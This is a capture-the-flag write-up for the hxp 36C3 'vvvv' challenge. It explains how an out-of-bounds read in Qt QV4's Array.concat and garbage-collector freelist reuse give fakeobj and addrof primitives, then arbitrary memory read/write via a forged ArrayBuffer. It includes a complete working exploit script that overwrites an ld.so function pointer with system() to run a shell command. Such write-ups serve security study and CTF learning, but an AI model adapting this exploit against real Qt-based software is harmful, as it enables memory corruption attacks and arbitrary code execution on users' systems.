hxp


hxp 36C3 CTF: vvvv

zahjebischte, pwn (909 points, 2 solves)

The other other JavaScript engine.

Download: vvvv-cc9085ea51e239dc.tar.xz (11.3 KiB)
Connection: nc 88.198.156.11 13336

  • Qt ships with a custom JavaScript engine called QV4, in which it runs all of its QML-related JS code (it also ships with JavaScriptCore, because of QtWebKit, and with V8 for QtWebEngine, but because those both form parts of major browsers, QV4 is the less known target here).

  • A developer build of QV4 will generally include the qmljs tool that runs JavaScript files directly, even without any of the QML features. This is the mode that is used here to avoid any of Qt’s “special features” causing issues (after all, there are fun things like Qt.openUrlExternally that we would need to take care of if QML was enabled). Note that there are still a few extensions present (e.g. String.prototype.arg), but a cursory inspection reveals no straightforward vulnerabilities.

  • You should also know that the release build of Qt does not check Q_ASSERT statements. This may come in handy, although it is not always necessary.

  • I modified Fuzzilli to interface with qmljs in order to find the bug(s) used here. My fork is available here. Unfortunately,qmljs also crashes for pretty much any operation on overly large arrays (especially includes), and whenever converting a recursive array to a string, so the fuzzer spits out a whole lot of crashes with little useful content. (My implementation also appears to not cleanly reset the engine after every test, but thankfully the fuzzer separates reproducible and non-reproducible crashes. Nevertheless, there are some crashes that do not occur when run manually…). I also found some bugs manually that result in an overflow on the VM stack, but the guard pages combined with an almost-instant crash mean that I found no way to exploit these crashes.

  • The exploit follows the “standard” path via fakeobj and addrof primitives (see this), by creating a user-controlled ArrayBuffer with a manipulated size that allows read and write access to arbitrary memory locations.

  • Unfortunately, QV4’s lack of optimizations make this remarkably annoying. Unlike in JSC or V8, there is only one way that objects are represented in memory: as tagged values. A pointer will almost always have a different tag in memory than a double, so converting between the two is difficult. The way this works is documented in qv4value_p.h: On a normal 64-bit machine (excluding IA64, but that can hardly be considered “normal” nowadays) the actual maximum pointer length is 48 bits, so QV4 generally uses the top 16 bits to indicate the type of the value stored. For pointers, it just leaves these 16 bits empty. Because that overlaps with valid IEEE754 doubles, it normally mangles doubles by XORing them with 0xffff800000000000.

  • One odd place in which this doesn’t happen is for the Number object (internally represented by a QV4::NumberObject), which ends up storing its value as a C++ double, rather than the mangled form normally used by QV4. This allows us to combine a read of uninitialized (or rather non-cleared) memory into a quick fakeobj primitive (note that running garbage collection after creating the fake object even by accident will result in a crash).

  • Such a read occurs when concatenating an array with a manipulated length (set by assigning to its length property) to a normal array. This (unlike the normal array access) does not verify that enough space was allocated to contain entries for the updated length, so when copying objects from the modified array into the new array, it reads outside of the bounds of the array’s storage and copies heap objects (allocated with QV4::MemoryManager, so no fancy heap exploitation yet) from previous allocations to the new array. Creating and copying a few Number objects (in theory, a single one should be enough) allows using its double member to craft a QV4::Value by simply accessing the new array at the index it was copied to.

    function allocNumbers(addrDouble) {
    for (let i = 0; i < 10; ++i) {
        // TypedArrays are created on the normal heap :(
        // String objects refer to the Heap::String only by reference :(
        // Heap::String objects only store a pointer to a QString (which also is UTF16) :(
        // DateObject fails on TimeClip :(
        // ...but NumberObject will do the job :D
        const n = new Number(addrDouble);
    }
    }
    function fakeobj(addrDouble) {
    // NB that this fakes an actual QV4::Object at this address, not the underlying heap structure.
    // This is somewhat unfortunate because that means that unless you can leak the address of a
    // controlled buffer (and control the memory at the faked address), you will not be able to set
    // up a valid data pointer.
    const v4 = [1337,1337,1337];
    const v7 = [1337,1337];
    allocNumbers(addrDouble);
    v7.length = 1337;
    const v9 = v4.concat(v7);
    // gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB: f 4; x/1340ag values
    var fake = v9[11];
    // Unsure if this cleanup is really necessary - GC will crash anyways because of the fakeobj:
    for (var i = 0; i < v9.length; ++i)
         v9[i] = 1337;
    return fake;
    }
    
  • Unfortunately, this OOB copy/read does not directly lead to a straightforward way to turn a pointer back into a usable number. Because allocations are generally sequential (see QV4::BlockAllocator::allocate), pointers to objects will almost never point into the newly allocated array space. (At this point, it may be useful to note that I spent a whole lot of time trying to find incorrect uses of QV4::Value::doubleValue or related functions that would leak even partial addresses, but unfortunately got nowhere. This includes calls that were only guarded with Q_ASSERT instead of a proper conditional. The only really interesting “wrong” use of Q_ASSERT is in QV4::Runtime::method_objectLiteral, but the objects that are accessed there appear to be generated by the VM, and are not user-controllable. It is also questionable whether that path would actually be exploitable given that the function does not directly report the result of the conversion.

  • Analyzing the source code for the memory manager reveals that there is a way to obtain an allocation below the current end of the allocated space: If the allocation is smaller than 224 bytes and the relevant freeBin contains an element, it uses that spot instead of the fallback bump allocator. Another scenario is far less likely: the allocation must hit at the exact time where the current chunk is out of memory and there is a large enough free block in any one of the bins. Of course, this strategy requires finding a way to place an item into one of the bins, and the only way to achieve this is to run a full GC pass (which thankfully can be triggered by running gc() from the JavaScript code).

  • A GC pass seems fairly simple. It consists of two phases: mark and sweep (see the source code for QV4::MemoryManager::runGC). In the marking phase, the garbage collector iterates through all sorts of objects that it can find (including objects held by the engine, such as its classes, identifiers, and compilation units, objects on the stack, and certain persistent objects that ought to be treated differently), and marks any QV4::Heap::Base objects (in general, this will be anything stored on the QV4 heap) by pushing them to a special MarkStack. This stack is limited in size, and will be drained prematurely whenever it reaches that limit, but certainly at the end of the marking phase. During this draining step, the GC pops items from the mark stack one by one, and looks up the type-specific marking functions in their vtable, then instructs the object to mark itself. (This amount of indirection is a common pattern in QV4, to the detriment of anyone who is actually trying to understand what is going on). The magic ultimately happens for every heap item in QV4::Heap::Base::mark, where the lowest layer of objects is marked. Each chunk of memory carries a set of bitmaps, in which a slot can be marked gray or black (there is also a bitmap indicating the start of a new heap object (the object or in use bitmap), and a bitmap indicating that the memory slot in question is part of a large allocation of a previous heap object (the extends bitmap, in which a bit is set to 0 both for free areas and for the starts of objects). Here, the black bitmap is the most interesting (the gray bitmap appears to be mostly unused, and the others just keep track of free space). Objects marked in this phase (or rather their starting slots, as found in the object bitmap) are added to the black bitmap. During sweeping, some necessary cleanup of unmarked objects is performed (such as removing them from WeakSet instances), before finally the different allocators are asked to sweep their memory. Again, we deal with the QV4::BlockAllocator: During sweeping, it first sweeps each of its chunks, and partitions them into non-empty and empty chunks. Empty chunks are freed entirely (and ultimately released to the OS), while non-empty chunks are instructed to re-build the allocator’s freeBin list. Sweeping a chunk looks complicated, but is actually not that bad. All it does, in so much bit magic, is find entries in the object bitmap that are not set in the black bitmap. For these objects, it looks up the vtable, and (if appropriate) destroys them. Finally, it updates the extends bitmap, and copies the black bitmap over the object bitmap to mark these slots as unused. It is important to note here that freed memory is not necessarily cleared. Refilling the free lists occurs in QV4::Chunk::sortIntoBins. To do so, the GC iterates over the object and extends bitmaps (in 64-bit blocks, just as for the chunk sweeping process), finds consecutive zeroes in the bitmap, and adds the corresponding QV4::HeapItem to the freeBin of the correct size. In doing so, it overwrites the heap item’s first two qwords with a pointer to the next free item in the freeBin, and the number of free slots available here.

  • Using the GC, it is possible to construct a UaF that finally allows leaking the address of an arbitrary object. In order to achieve this, we construct the following environment: The target of our OOB copy is followed by three contiguous heap objects that will be freed simultaneously in order to not corrupt at least one (each heap object consists of a pointer to its InternalClass, a pointer to its MemberData, and a pointer to its ArrayData, followed by any type-specific members; it is important for us to keep the InternalClass pointer valid, because otherwise frequently-used simple operations such as isObject() will result in a crash). In our case, the second object will be a QV4::Heap::NumberObject, containing the actual value as a C++ double as its fourth qword. Behind this, then, follows some other object (presumably an array) that references the number - the copy of this object will give us access to our UaF. In order to keep the allocation sizes managable, we insert blocker elements that we keep alive beyond the end of the function call by returning an array containing these elements. The next step is to free the objects in question by calling gc(). Then, the OOB copy yields a snapshot of a full QV4::Heap::NumberObject and a reference to the heap location. We then overlap the freed allocation with a new array’s QV4::Heap::SimpleArrayData, reconstruct the NumberObject, and replace its double value with the object in question. That should give us access to any other object’s address. To avoid crashing on GC, we zero out both the newly allocated array and the copied array.

    function setUpHeap() {
    // This may not work reliably, especially after running a lot of code.
    // Allocate three heap objects consecutively, and reference them in an array.
    // 2261634.5098039214 should end up represented as 0x4141414141414141,
    // 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in GDB.
    // To subdivide the space into the correct sizes, we use blocker elements that will not
    // be freed by the garbage collector.
    const n1 = new Number(2261634.5098039214);
    const n2 = new Number(2261634.5098039214);
    const n3 = new Number(2261634.5098039214);
    const blocker1 = new Number(156842099844.51764);
    const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];
    const blocker2 = new Number(156842099844.51764);
    // ...and instantly make sure they are no longer referenced, _except_ the blockers.
    return [blocker1, blocker2];
    }
    function addrof(obj) {
    const v4 = [1337, 1337, 1337];
    const v7 = [1337, 1337];
    const blockers = setUpHeap(); // Set up the heap for GC.
    gc(); // Collect garbage in order to set up the allocator
    v7.length = 1337;
    const v9 = v4.concat(v7); // Copy/OOB read
    // Create a new array to overlap with the old NumberObject
    const overlap = new Array(16);
    // Copy the NumberObject back, and overwrite its value with the pointer to the object
    for (let i = 0; i < 3; ++i)
        overlap[3 + i] = v9[16 + i];
    // Overwrite the value with the object in question
    overlap[6 /* base (3) + i (3) */] = obj;
    // Get the reference to the NumberObject and instantly turn it into a primitive value
    const number = v9[57].valueOf();
    // Clean up for GC
    for (let i = 0; i < v9.length; ++i)
        v9[i] = 0;
    for (let i = 0; i < overlap.length; ++i)
        overlap[i] = 0;
    // Return the address
    return number;
    }
    
  • To build the final exploit, we modify the address leak slightly in order to also include an ArrayBuffer JavaScript object in the OOB copy. In order to defeat ASLR, we make the allocation large enough (>= 128 KiB), so that the underlying QArrayData (which, unlike the rest of QV4, uses malloc instead of falling back to page- and therefore mmap-based allocators that appear to come straight from JavaScriptCore) falls back to mmap too. We can leak the address of that QArrayData object (which is just the 24-byte header before the actual ArrayBuffer data), and the address of the ArrayBuffer’s InternalClass (which we need to create a “valid” fake object). We also need some helper functions to deal with 64-bit integers, because unlike modern browser JS engines, QV4 does not include the BigInt type.

  • Setting up the actual object in the ArrayBuffer is straightforward: We spoof a QV4::Heap::ArrayBuffer object at the start of the buffer (consisting of the leaked internal class, empty member and array data fields, and a pointer to the next qword in the buffer that will contain a fake QArrayData object), and follow that with the QArrayData (useful tip: ptype /o QArrayData in GDB spits out all the types and offsets). In theory, there should also be an isShared boolean after the pointer, but its value doesn’t matter to us, so we just use whatever the QArrayData puts there…

  • A QArrayData contains a reference count (set this large enough so that it never goes away), the size of the array in bytes (as a signed 32-bit integer), the size of the allocation in a 31-bit bitfield (from testing, the alloc member tends be exactly one larger than the size, so we use a maximum size of 0x7ffffffe), a 4-byte hole, and finally the offset to the data (which in all but the most general case is just sizeof(QArrayData), i.e. 24). Using fakeobj (plus some heap massaging in order to make sure the NumberObject is actually copied), we obtain the fake QV4::ArrayBuffer, and create a Float64Array and a Uint8Array for easier handling.

  • The QArrayData is perfectly positioned to overwrite into ld.so (and indeed is at a constant offset from the same), so we can easily reuse the Wiederg√§nger attack by filling in the function pointer using the Float64Array, and the argument by using the Uint8Array.

  • Upon termination, qmljs will now pop a shell or run your favorite command. We just cat /flag_* to get the flag.

Here is the full exploit code:

'use strict';

// QV4 does not actually support 64-bit integers, so we need to do some little tricks here
let conversionBuffer = new ArrayBuffer(8);
let conversionF64 = new Float64Array(conversionBuffer);
let conversionU32 = new Uint32Array(conversionBuffer);

let I64 = {
    MASK: 0xFFFFFFFF,
    from: function (u, l) {
        if (l === undefined) {
            // I64.from(i32) should be the same as I64.from(0, i32).
            l = u;
            u = 0;
        }
        if (u > I64.MASK || u < 0 || l > I64.MASK || l < 0)
            throw RangeError('Invalid pieces for I64');
        return { upper: u, lower: l };
    },
    add: function (a, b) {
        if (typeof a === "number") a = I64.from(a);
        if (typeof b === "number") b = I64.from(b);
        let lowerSum = a.lower + b.lower;
        let carry = lowerSum > I64.MASK ? 1 : 0;
        if (carry) lowerSum = (lowerSum - 1) - I64.MASK;
        let upperSum = a.upper + b.upper + carry;
        if (upperSum > I64.MASK) upperSum = (upperSum - 1) - I64.MASK;
        return I64.from(upperSum, lowerSum);
    },
    sub: function (a, b) {
        if (typeof a === "number") a = I64.from(a);
        if (typeof b === "number") b = I64.from(b);
        let lowerDiff = a.lower - b.lower;
        let borrow = lowerDiff < 0 ? 1 : 0;
        if (borrow) lowerDiff = (lowerDiff + 1) + I64.MASK;
        let upperDiff = a.upper - b.upper - borrow;
        if (upperDiff < 0) upperDiff = (upperDiff + 1) + I64.MASK;
        return I64.from(upperDiff, lowerDiff);
    },
}

function toF64(i) {
    // Flip items around, because little endian, and we want hex to be as natural as possible
    conversionU32[0] = i.lower;
    conversionU32[1] = i.upper;
    return conversionF64[0];
}
function toI64(f64) {
    conversionF64[0] = f64;
    return I64.from(conversionU32[1], conversionU32[0]);
}
function toHexString(i) {
    let upperStr = i.upper.toString(16).padStart(8, '0');
    let lowerStr = i.lower.toString(16).padStart(8, '0');
    return '0x' + upperStr + lowerStr;
}



// Here are our general-purpose fakeobj() and addrof() primitives, and the helpers for them.
// We don't actually end up using addrof() itself (we have a slightly more specialized version
// further down that does some additional introspection that makes it easier to create a fake
// object), but I left it in anyways for reference.
function allocNumbers(addrDouble) {
    for (let i = 0; i < 10; ++i) {
        // TypedArrays are created on the normal heap :(
        // String objects refer to the Heap::String only by reference :(
        // Heap::String objects only store a pointer to a QString (which also is UTF16) :(
        // DateObject fails on TimeClip :(
        // ...but NumberObject will do the job :D
        const n = new Number(addrDouble);
    }
}
function fakeobj(addrDouble) {
    // NB that this fakes an actual QV4::Object at this address, not the underlying heap structure.
    // This is somewhat unfortunate because that means that unless you can leak the address of a
    // controlled buffer (and control the memory at the faked address), you will not be able to set
    // up a valid data pointer.
    const v4 = [1337,1337,1337];
    const v7 = [1337,1337];
    allocNumbers(addrDouble);
    v7.length = 1337;
    const v9 = v4.concat(v7);
    // gc(); // Uncomment this to trigger a crash here. To show the buffer in GDB: f 4; x/1340ag values
    var fake = v9[11];
    // Unsure if this cleanup is really necessary - GC will crash anyways because of the fakeobj:
    for (var i = 0; i < v9.length; ++i)
         v9[i] = 1337;
    return fake;
}

function allocateLotsOfStuff(count) {
    // To make addrof and fakeobj more reliable, allocate lots of objects of each size in order
    // to use up the freebins and go back to bump allocation. Each new array allocates
    // a control block of size 0x40, plus space for the array data.
    // The allocations are set up in a way that ensures that we use up all possible freebins
    // (except the one for a single 0x20 slot, which no object appears to cover, but which is
    // not needed for addrof anyways).
    let objects = new Array(6 * count);
    for (let i = 0; i < 6 * count; i += 6) {
        objects[i + 0] = new Number(0); // 0x40
        objects[i + 1] = new RegExp('.*'); // 0x60 (+ 0x40)
        objects[i + 2] = new Array(8); // 0x80 (+ 0x40)
        objects[i + 3] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2]; // 0xa0 (+ 0x40)
        objects[i + 4] = new Array(12); // 0xc0 (+ 0x40)
        objects[i + 5] = [0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4]; // 0xe0 (+ 0x40)
    }
    return objects;
}
function setUpHeap() {
    // This may not work reliably, especially after running a lot of code.
    // Allocate three heap objects consecutively, and reference them in an array.
    // 2261634.5098039214 should end up represented as 0x4141414141414141,
    // 156842099844.51764 as 0x4242424242424242. Use this to verify allocations in GDB.
    // To subdivide the space into the correct sizes, we use blocker elements that will not
    // be freed by the garbage collector.
    const n1 = new Number(2261634.5098039214);
    const n2 = new Number(2261634.5098039214);
    const n3 = new Number(2261634.5098039214);
    const blocker1 = new Number(156842099844.51764);
    const objs = [n1, n1, n1, n1, n2, n2, n2, n2, n3, n3, n3, n3];
    const blocker2 = new Number(156842099844.51764);
    // ...and instantly make sure they are no longer referenced, _except_ the blockers.
    return [blocker1, blocker2];
}
function addrof(obj) {
    const v4 = [1337, 1337, 1337];
    const v7 = [1337, 1337];
    const blockers = setUpHeap(); // Set up the heap for GC.
    gc(); // Collect garbage in order to set up the allocator
    v7.length = 1337;
    const v9 = v4.concat(v7); // Copy/OOB read
    // Create a new array to overlap with the old NumberObject
    const overlap = new Array(16);
    // Copy the NumberObject back, and overwrite its value with the pointer to the object
    for (let i = 0; i < 3; ++i)
        overlap[3 + i] = v9[16 + i];
    // Overwrite the value with the object in question
    overlap[6 /* base (3) + i (3) */] = obj;
    // Get the reference to the NumberObject and instantly turn it into a primitive value
    const number = v9[57].valueOf();
    // Clean up for GC
    for (let i = 0; i < v9.length; ++i)
        v9[i] = 0;
    for (let i = 0; i < overlap.length; ++i)
        overlap[i] = 0;
    // Return the address
    return number;
}


// In our exploit, we specifically want the address of the QArrayData backing an ArrayBuffer.
// To make exploitation easier (and avoid the nondeterministic "features" of the allocator),
// we make it large enough to make malloc use mmap instead.
// This duplicates much of addrof.
function mmapBufferAndFindAddress() {
    const SIZE_REQUIRED = 128 * 1024; // As long as the total allocation size is larger than 128KiB...
    const v4 = [1337, 1337, 1337];
    const v7 = [1337, 1337];
    const blockers = setUpHeap(); // Set up the heap for GC.
    const buffer = new ArrayBuffer(SIZE_REQUIRED); // Place the ArrayBuffer on the heap
    gc(); // Collect garbage in order to set up the allocator
    v7.length = 1337;
    const v9 = v4.concat(v7); // Copy/OOB read
    // Create a new array to overlap with the old NumberObject
    const overlap = new Array(16);
    // Copy the NumberObject back
    for (let i = 0; i < 3; ++i)
        overlap[3 + i] = v9[16 + i];
    // Overwrite the value with the QArrayData pointer of the ArrayBuffer
    overlap[6 /* base (3) + i (3) */] = v9[95];
    // Get the reference to the NumberObject and instantly turn it into a primitive value
    const arrayDataAddr = v9[57].valueOf();
    // Do the same thing for the ArrayBuffer's InternalClass
    overlap[6] = v9[92];
    const internalClassAddr = v9[57].valueOf();
    // Clean up for GC
    for (let i = 0; i < v9.length; ++i)
        v9[i] = 0;
    for (let i = 0; i < overlap.length; ++i)
        overlap[i] = 0;
    // Return the addresses and the buffer
    return [buffer, arrayDataAddr, internalClassAddr];
}


function exploit() {
    const [buffer, arrayDataAddr, internalClassAddr] = mmapBufferAndFindAddress();

    // Create a fake ArrayBuffer object within our buffer.
    // The arrayDataAddr points to the actual QArrayData, so our data starts 24 bytes afterwards.
    // The pointer to our fake buffer of "unlimited" length has to be another 32 bytes beyond that.
    const fakeBufferObjAddr = I64.add(toI64(arrayDataAddr), 24);
    const fakeBufferDataAddr = I64.add(fakeBufferObjAddr, 32);
    const fakeBufferContentsAddr = I64.add(fakeBufferDataAddr, 24);

    const overlay = new Float64Array(buffer);
    // Fake buffer object
    overlay[0] = internalClassAddr;
    overlay[1] = 0.0;
    overlay[2] = 0.0;
    overlay[3] = toF64(fakeBufferDataAddr);
    // Fake QArrayData; NB that size is signed 32 bits
    const FAKE_SIZE = 0x7FFFFFFE;
    overlay[4] = toF64(I64.from(FAKE_SIZE /* size */, 0x42 /* refcount */));
    overlay[5] = toF64(I64.from(0, FAKE_SIZE + 1 /* capacityReserved (1 bit) : alloc (31 bits) */))
    overlay[6] = toF64(I64.from(24 /* offset */));

    // fakeobj is slightly heap-sensitive too (the NumberObjects need to end up _behind_ the
    // OOB copy), so fill up open slots in the heap's freelist.
    const heapBlock = allocateLotsOfStuff(8);

    // Create fake buffer object and U8 overlay
    const fakeBuffer = fakeobj(toF64(fakeBufferObjAddr));
    const fakeU8 = new Uint8Array(fakeBuffer);
    const fakeF64 = new Float64Array(fakeBuffer);

    // Perform Wiedergänger attack. Here is where all the platform-specific constants come in.
    const OFFSET_TO_LD = 0x3ecafd8; // This is the only part that is somewhat fragile...
    const LD_TO_LIBC = 0x11f0000; // Subtract this.
    const LIBC_SYSTEM_OFFSET = 0x491c0;
    const LD_FUNCTION_PTR_OFFSET = 0x2bf00;
    const LD_ARGUMENT_OFFSET = 0x2b908;

    const ldso = I64.add(fakeBufferObjAddr, OFFSET_TO_LD);
    const libc = I64.sub(ldso, LD_TO_LIBC);
    const system = I64.add(libc, LIBC_SYSTEM_OFFSET);

    let fpIndex = I64.sub(I64.add(ldso, LD_FUNCTION_PTR_OFFSET), fakeBufferContentsAddr);
    if (fpIndex.upper)
        throw new RangeError('Offset is too large to handle');
    fpIndex = fpIndex.lower >>> 3; // We use floats to fill this
    fakeF64[fpIndex] = toF64(system);

    let argIndex = I64.sub(I64.add(ldso, LD_ARGUMENT_OFFSET), fakeBufferContentsAddr);
    if (argIndex.upper)
        throw new RangeError('Offset is too large to handle');
    argIndex = argIndex.lower;
    let arg = 'cat /flag_*';
    for (let i = 0; i < arg.length; ++i)
        fakeU8[argIndex + i] = arg.charCodeAt(i);
    fakeU8[argIndex + arg.length] = 0;
}

exploit();

If you host this outside of the Docker container, you will most likely have to adjust the OFFSET_TO_LD and LD_TO_LIBC variables, regardless of whether you use the same glibc version. If you change the glibc version, you may also need to change the other constants.

This leaks the flag without any ASLR bruteforcing or other shenanigans (remember that mmap allocates memory somewhat sequentially, so that offsets are constant regardless of ASLR):

hxp{QV4,_JSC,_V8..._Wh4t_0n_34rth_d035_Qt_n33d_THR33_J4v45cr1pt_3n61n35_f0r???}